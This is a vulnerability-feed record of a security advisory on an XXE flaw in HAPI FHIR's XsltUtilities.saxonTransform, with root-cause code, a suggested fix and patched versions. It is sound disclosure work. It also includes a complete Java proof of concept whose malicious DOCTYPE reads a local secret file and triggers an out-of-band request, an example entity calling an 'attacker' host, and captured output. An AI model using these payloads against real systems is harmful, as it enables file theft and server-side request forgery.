{"id":"CVE-2026-55471","title":"HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory","summary":"HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory","severity":"critical","cwe":["CWE-611"],"vendor":"uhn","product":"ca.uhn.hapi.fhir:org.hl7.fhir.utilities","ecosystem":"maven","affected":["ca.uhn.hapi.fhir:org.hl7.fhir.utilities <= 6.9.9"],"patched":["ca.uhn.hapi.fhir:org.hl7.fhir.utilities 6.9.10"],"published":"2026-06-17","updated":"2026-06-17","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-2f55-g35j-5jmf","references":[{"url":"https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-2f55-g35j-5jmf"},{"url":"https://github.com/advisories/GHSA-2f55-g35j-5jmf"}],"tags":["ghsa","maven"],"ingestedAt":"2026-06-29T14:31:47.177Z","epss":0.00569,"epssPercentile":0.45908,"slug":"CVE-2026-55471","body":"## Overview\n\n### Summary\n\n`org.hl7.fhir.utilities.XsltUtilities` exposes two parallel families of XSLT\ntransform helpers. The `transform(...)` overloads obtain their\n`TransformerFactory` from the project's hardened helper\n`XMLUtil.newXXEProtectedTransformerFactory()` (which sets\n`ACCESS_EXTERNAL_DTD=\"\"` and `ACCESS_EXTERNAL_STYLESHEET=\"\"`). The sibling\n`saxonTransform(...)` overloads instead instantiate a **bare**\n`new net.sf.saxon.TransformerFactoryImpl()` with no external-access\nrestriction. A document transformed through any `saxonTransform(...)` overload\nis parsed with external general entities and external DTD/parameter entities\nenabled, so an attacker who controls (or can MITM) the transformed XML obtains\nXML External Entity injection: local file disclosure and blind XXE / SSRF to\narbitrary URLs reachable from the host.\n\n`XMLUtil` documents that its protected factory \"should be the only place where\nTransformerFactory is instantiated in this project\". The `saxonTransform`\noverloads violate that contract while their same-file `transform` siblings\nhonour it.\n\n### Affected versions\n\n`org.hl7.fhir.utilities` (Maven `ca.uhn.hapi.fhir:org.hl7.fhir.utilities`)\n`<= 6.9.8` (latest release at time of report; verified live on `6.9.8`).\nThe bare `net.sf.saxon.TransformerFactoryImpl()` instantiation is present at\n`XsltUtilities.java:61`, `:91`, and `:106`.\n\n### Privilege required\n\nNone at the library boundary. The exposure depends on the calling tool: any\nFHIR component that runs `XsltUtilities.saxonTransform(...)` over XML whose\nsource document, embedded DTD, or referenced stylesheet is attacker-influenced\n(an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a\nMITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before\nthe Saxon parser sees the bytes.\n\n### Root cause\n\n`org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java`:\n\n```java\n// VULNERABLE — bare factory, no external-access restriction (lines 60-73, 90-99, 105-128)\npublic static byte[] saxonTransform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {\n    TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();   // <-- bare\n    f.setAttribute(\"http://saxon.sf.net/feature/version-warning\", Boolean.FALSE);\n    StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt));\n    f.setURIResolver(new ZipURIResolver(files));\n    Transformer t = f.newTransformer(xsrc);\n    ...\n}\npublic static String saxonTransform(String source, String xslt) throws TransformerException, IOException {\n    TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl();   // <-- bare\n    ...\n}\n\n// HARDENED SIBLING (same file, lines 75-88 / 130-149) — negative control\npublic static byte[] transform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {\n    TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // <-- hardened\n    ...\n}\n```\n\nThe hardened helper (`XMLUtil.newXXEProtectedTransformerFactory()`) is:\n\n```java\npublic static TransformerFactory newXXEProtectedTransformerFactory() {\n    final TransformerFactory transformerFactory = TransformerFactory.newInstance();\n    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\");\n    return transformerFactory;\n}\n```\n\nThe `saxonTransform` overloads never call this helper and never set the two\n`ACCESS_EXTERNAL_*` attributes, so the underlying parser resolves external\ngeneral entities (`<!ENTITY x SYSTEM \"file:///...\">`) and external\nDTD/parameter entities (`<!ENTITY % p SYSTEM \"http://attacker/\">`). This is a\nclassic CWE-611. The asymmetry — one family hardened, the co-located sibling\nfamily bare — is the bug: the protection that already exists in the same class\nwas not extended to the `saxonTransform` variants.\n\n### Reproduction (E2E against published Maven Central `org.hl7.fhir.utilities:6.9.8`)\n\nA self-contained Maven project. `pom.xml` pulls the latest released artifact,\nwhich transitively brings `net.sf.saxon:Saxon-HE:11.6`.\n\n`pom.xml`:\n\n```xml\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>poc</groupId><artifactId>fhir-xslt-xxe-poc</artifactId><version>1.0</version>\n  <properties>\n    <maven.compiler.source>17</maven.compiler.source>\n    <maven.compiler.target>17</maven.compiler.target>\n  </properties>\n  <dependencies>\n    <dependency>\n      <groupId>ca.uhn.hapi.fhir</groupId>\n      <artifactId>org.hl7.fhir.utilities</artifactId>\n      <version>6.9.8</version>\n    </dependency>\n  </dependencies>\n</project>\n```\n\n`src/main/java/Poc.java`:\n\n```java\nimport org.hl7.fhir.utilities.XsltUtilities;\nimport java.io.*;\nimport java.net.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.*;\n\npublic class Poc {\n  static final String CANARY_MARK = \"TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2\";\n  // identity stylesheet: copies the resolved //data text into the output\n  static final String IDENTITY_XSLT =\n      \"<?xml version=\\\"1.0\\\"?>\\n\" +\n      \"<xsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\">\\n\" +\n      \"  <xsl:output method=\\\"text\\\"/>\\n\" +\n      \"  <xsl:template match=\\\"/\\\"><xsl:value-of select=\\\"//data\\\"/></xsl:template>\\n\" +\n      \"</xsl:stylesheet>\\n\";\n\n  public static void main(String[] args) throws Exception {\n    Path secret = Files.createTempFile(\"fhir-secret-\", \".txt\");\n    Files.writeString(secret, CANARY_MARK + \" :: \" + UUID.randomUUID());\n\n    final List<String> oobHits = Collections.synchronizedList(new ArrayList<>());\n    ServerSocket sentinel = new ServerSocket(0);\n    int oobPort = sentinel.getLocalPort();\n    Thread st = new Thread(() -> {\n      try {\n        while (!sentinel.isClosed()) {\n          Socket s = sentinel.accept();\n          BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8));\n          String line = r.readLine();\n          if (line != null) { oobHits.add(line); System.out.println(\"[SENTINEL] inbound connection: \" + line); }\n          byte[] body = \"<!-- ok -->\".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD\n          OutputStream os = s.getOutputStream();\n          os.write((\"HTTP/1.1 200 OK\\r\\nContent-Type: application/xml-dtd\\r\\nContent-Length: \" + body.length + \"\\r\\n\\r\\n\").getBytes());\n          os.write(body); os.flush(); s.close();\n        }\n      } catch (IOException ignored) {}\n    });\n    st.setDaemon(true); st.start();\n\n    // A1: external general entity -> local secret (file read)\n    // A2: external parameter entity -> attacker URL (blind XXE / SSRF)\n    String maliciousSource =\n        \"<?xml version=\\\"1.0\\\"?>\\n\" +\n        \"<!DOCTYPE root [\\n\" +\n        \"  <!ENTITY canary SYSTEM \\\"\" + secret.toUri() + \"\\\">\\n\" +\n        \"  <!ENTITY % oob SYSTEM \\\"http://127.0.0.1:\" + oobPort + \"/evil-fhir-xslt-ssrf.dtd\\\">\\n\" +\n        \"  %oob;\\n\" +\n        \"]>\\n\" +\n        \"<root><data>&canary;</data></root>\\n\";\n    Path srcFile = Files.createTempFile(\"fhir-malicious-src-\", \".xml\");\n    Files.writeString(srcFile, maliciousSource);\n    Path xsltFile = Files.createTempFile(\"fhir-identity-\", \".xslt\");\n    Files.writeString(xsltFile, IDENTITY_XSLT);\n\n    System.out.println(\"=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK \" + System.getProperty(\"java.version\") + \" ===\");\n    System.out.println(\"=== Saxon: \" + saxonVersion() + \" ===\");\n    System.out.println(\"Secret file: \" + secret + \" (contains \" + CANARY_MARK + \")\");\n    System.out.println(\"OOB sentinel: http://127.0.0.1:\" + oobPort + \"/\\n\");\n\n    System.out.println(\"---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----\");\n    try {\n      String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString());\n      System.out.println(\"transform output: [\" + out.trim() + \"]\");\n      System.out.println(out.contains(CANARY_MARK)\n        ? \">>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<\"\n        : \">>> canary NOT in output <<<\");\n    } catch (Exception e) { System.out.println(\"saxonTransform threw: \" + e); }\n    Thread.sleep(400);\n    System.out.println(\"OOB sentinel hits after BARE call: \" + oobHits + \"\\n\");\n\n    // Direct factory comparison (isolates the hardening difference)\n    System.out.println(\"---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----\");\n    int b = oobHits.size();\n    System.out.println(\"[bare new TransformerFactoryImpl()]\");\n    runDirect(new net.sf.saxon.TransformerFactoryImpl(), srcFile, xsltFile, oobHits, b);\n    int b2 = oobHits.size();\n    System.out.println(\"[hardened XMLUtil.newXXEProtectedTransformerFactory()]\");\n    runDirect(org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(), srcFile, xsltFile, oobHits, b2);\n    sentinel.close();\n  }\n\n  static void runDirect(javax.xml.transform.TransformerFactory f, Path srcFile, Path xsltFile, List<String> oobHits, int before) throws Exception {\n    try {\n      javax.xml.transform.Transformer t = f.newTransformer(new javax.xml.transform.stream.StreamSource(Files.newInputStream(xsltFile)));\n      ByteArrayOutputStream out = new ByteArrayOutputStream();\n      t.transform(new javax.xml.transform.stream.StreamSource(Files.newInputStream(srcFile)), new javax.xml.transform.stream.StreamResult(out));\n      String s = out.toString(StandardCharsets.UTF_8).trim();\n      System.out.println(\"  output: [\" + s + \"]\");\n      System.out.println(\"  canary leaked: \" + s.contains(CANARY_MARK));\n    } catch (Exception e) {\n      System.out.println(\"  threw: \" + e.getClass().getName() + \": \" + String.valueOf(e.getMessage()).replaceAll(\"[\\\\u4e00-\\\\u9fff]\", \"?\"));\n    }\n    Thread.sleep(300);\n    System.out.println(\"  OOB sentinel hits from this call: \" + (oobHits.size() - before));\n  }\n\n  static String saxonVersion() {\n    try { return (String) Class.forName(\"net.sf.saxon.Version\").getMethod(\"getProductVersion\").invoke(null); }\n    catch (Throwable t) { return \"unknown\"; }\n  }\n}\n```\n\nRun + **verbatim captured output** (JDK 17.0.18, Saxon-HE 11.6; CJK in the\nhardened-path SAXParseException replaced with `?` by the harness for ASCII\ndisplay, the message text is `accessExternalDTD ... restriction ... 'http'\naccess not allowed`):\n\n```\n$ mvn -q compile && mvn -q exec:java -Dexec.mainClass=Poc\n=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK 17.0.18 ===\n=== Saxon: 11.6 ===\nSecret file: /var/folders/.../fhir-secret-467000002121832365.txt (contains TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2)\nOOB sentinel: http://127.0.0.1:62466/\n\n---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----\n[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1\ntransform output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]\n>>> XXE CONFIRMED: canary leaked into XSLT output via external entity <<<\nOOB sentinel hits after BARE call: [GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1]\n\n---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----\n[bare new TransformerFactoryImpl()]\n[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1\n  output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]\n  canary leaked: true\n  OOB sentinel hits from this call: 1\n[hardened XMLUtil.newXXEProtectedTransformerFactory()]\n  threw: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 8; ????: ???????? 'evil-fhir-xslt-ssrf.dtd', ?? accessExternalDTD ???????????? 'http' ??.\n  OOB sentinel hits from this call: 0\n```\n\nInterpretation of the verbatim output:\n\n- **Bare path** (`saxonTransform` and bare `TransformerFactoryImpl`): the local\n  secret file content (`TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...`) is leaked\n  into the transform output (file disclosure), and the OOB sentinel receives\n  `GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1` (blind XXE / SSRF). `canary leaked: true`,\n  OOB hits = 1.\n- **Hardened path** (`XMLUtil.newXXEProtectedTransformerFactory()`): parsing the\n  same malicious source throws an `accessExternalDTD ... 'http' access not\n  allowed` SAXParseException and the OOB sentinel receives 0 hits. The only\n  difference between the two runs is the factory: the existing project helper\n  blocks the attack, the bare sibling does not.\n\n### Impact\n\n- **Local file disclosure**: any file readable by the JVM process is exfiltrated\n  into the transform output (demonstrated above with a canary secret file).\n- **Blind XXE / SSRF**: external parameter/DTD entities cause the host to issue\n  attacker-directed HTTP(S) requests (demonstrated by the sentinel hit),\n  enabling internal-network probing and cloud metadata access from the host's\n  network position.\n- The `saxonTransform` overloads are part of the public\n  `org.hl7.fhir.utilities` API consumed across the FHIR Java tooling\n  (IG-publisher / validation / conversion utilities); any consumer that routes\n  attacker-influenced or MITM-able XML through them inherits the XXE.\n\n### Suggested fix\n\nRoute the `saxonTransform` overloads through the same protection the\n`transform` siblings already use. Because these overloads specifically need the\nSaxon implementation, obtain a Saxon factory and apply the two `ACCESS_EXTERNAL_*`\nrestrictions (mirroring `XMLUtil.newXXEProtectedTransformerFactory()`), e.g. a\nsmall helper in `XMLUtil`:\n\n```java\n@SuppressWarnings(\"checkstyle:transformerFactoryNewInstance\")\npublic static TransformerFactory newXXEProtectedSaxonTransformerFactory() {\n    final TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();\n    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\");\n    return f;\n}\n```\n\nand replace each `new net.sf.saxon.TransformerFactoryImpl()` in\n`XsltUtilities.saxonTransform(...)` (lines 61, 91, 106) with a call to it. This\nmirrors the existing `newXXEProtected*` convention and the class-level mandate\nthat the protected factory \"should be the only place where TransformerFactory\nis instantiated in this project\". A regression test that runs a DOCTYPE-bearing\nsource through `saxonTransform` and asserts the external entity is NOT resolved\nshould accompany the change.\n\n### Credit\n\nReported by tonghuaroot.\n\n## Affected packages\n\n- `ca.uhn.hapi.fhir:org.hl7.fhir.utilities <= 6.9.9`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `ca.uhn.hapi.fhir:org.hl7.fhir.utilities 6.9.10`","depth":"midnight","depthScore":52,"depthScoreParts":{"impact":52.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}